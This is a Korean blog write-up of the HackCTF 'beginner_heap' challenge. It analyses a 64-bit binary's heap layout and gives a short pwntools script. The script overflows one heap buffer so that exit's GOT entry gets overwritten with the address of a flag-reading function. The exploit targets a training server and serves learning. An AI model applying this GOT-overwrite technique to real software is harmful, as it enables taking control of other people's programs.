64bit + Heap 영역 문제이다. Heap 영역은 Stack 영역과 다르게 메모리가 낮은 주소 → 높은 주소 로 자란다는 것을 기억하자.
우선 beginner_heap.bin 바이너리 파일을 분석해보자.
main 함수부터 보자. 첫번째 fgets 로 입력받는 값은 v3 + 1 에 저장되고, 두번째 fgets 로 입력 받는 값은 v4 + 1 에 저장된다. 첫번째 입력에서 v3, v3 + 1, v4 를 NOP 로, v4 + 1 을 exit_got 로 입력해주면 될 것 같다. 메모리 구조를 살펴보자.
—————————— High Address
| v4 + 1 (8) |
——————————
| v4 (16) |
——————————
| v3 + 1 (8) |
——————————
| v3 (16) |
—————————— Low Address
또한 sub_400826 함수는 flag 를 읽어주는 함수인 것 같다. 두번째 입력에서는 exit_got 가 있던 v4 + 1 의 위치에 sub_400826 함수의 주소인 0x400826 덮어주면 될 것 같다.
바로 payload 를 작성하여 exploit 하자.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3016)
elf = ELF("./beginner_heap.bin")
exit_got = elf.got['exit']
get_flag = 0x400826
payload_1 = "\x90"*40
payload_1 += p64(exit_got)
payload_2 = p64(get_flag)
p.sendline(payload_1)
p.sendline(payload_2)
p.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
Simple_Overflow_ver_2 (0) | 2020.08.28 |
---|---|
x64 Simple_size_BOF (0) | 2020.08.28 |
x64 Buffer Overflow (0) | 2020.08.28 |
ROP (0) | 2020.08.28 |
RTL_World (0) | 2020.08.28 |